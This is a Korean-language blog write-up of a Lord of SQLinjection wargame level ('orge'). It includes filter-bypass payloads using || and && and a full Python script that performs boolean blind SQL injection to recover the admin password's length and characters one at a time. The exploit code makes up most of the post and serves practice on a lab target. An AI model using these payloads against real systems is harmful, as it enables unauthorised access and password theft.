앞선 문제들과 동일하게 pw를 받아서 쿼리를 던질 때 해당 요청값에 / / 가 자동으로 붙도록 설계해놨다. 그래서 이번에도 자동화코드를 통해 blind injection으로 패스워드를 알아내야 한다.

대신 앞선 문제와의 차이는 or and 까지 쓸 수 없다는 것. 대신 여기선 sql 쿼리로 던지기에 url 인코딩할 필요 없다.

그래서 그래도 || && # 같은 특수기호를 그대로 넣어주면 된다.

payload는 다음과 같다.

먼저, 비밀번호 길이 찾기

pw = ' ' || id = 'admin' && length(pw) = ? #

자동화 코드는 아래에

def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' || id = 'admin' && length(pw)={} #".format(len_num) #injection payload
        parmas = {'pw': value}    #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:   	#응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num

 

그 다음은 pw를 한 글자씩 찾는 건데.. 이전에는 ord()함수를 이용했다. 근데 이번엔 ord함수가 먹히지 않았다.

ord함수와 비슷한 sql 함수를 찾아보니 ascii() 함수가 있었다.

헷갈렸던 부분이 이 부분인데, 둘다 동일한 함수인데 왜 ascii는 되고 ord는 안될까.. 해서 둘을 비교해봤다

ord () : 파이썬 함수 

ascii() : sql쿼리에서 쓰는 함수

SELECT ORD('A');

SELECT ASCII('A');

SQL 테스트 사이트에서 돌렸을 때 동일한 값이 나온다.  ord() 필터링 기능이 있는 것 같다.

소스코드는 다음과 같다.

def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
            #value = " ' || id = 'admin' && ord(substr(pw,{},1))={} #".format(i,j)          #attack fail
            value = " ' || id = 'admin' && ascii(substr(pw,{},1))={} #".format(i,j)           #injection payload 
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw

마지막에 chr()함수로 아스키코드 값을 우리가 보기편한 string 문자로 변환해주었다.

전체코드 ) 

# LOS
# STEP 7 Orge

import requests

url ="" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' || id = 'admin' && length(pw)={} #".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num


#패스워드 한글자씩 찾기
def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
            #value = " ' || id = 'admin' && ord(substr(pw,{},1))={} #".format(i,j)          #attack fail
            value = " ' || id = 'admin' && ascii(substr(pw,{},1))={} #".format(i,j)           #injection payload 
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw


#Main
pw_real(pw_len())

실행화면

 

 

solve!!!!!!!!!!!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step.9 VAMPIRE 풀이  (0) 2023.06.13
[LOS] step.8 troll 풀이  (0) 2023.06.13
[LOS] step.6 darkelf 풀이  (0) 2023.06.12
[LOS] step.5 wolfman풀이  (0) 2023.06.12
[LOS] step.3 goblin 풀이  (0) 2023.06.12

+ Recent posts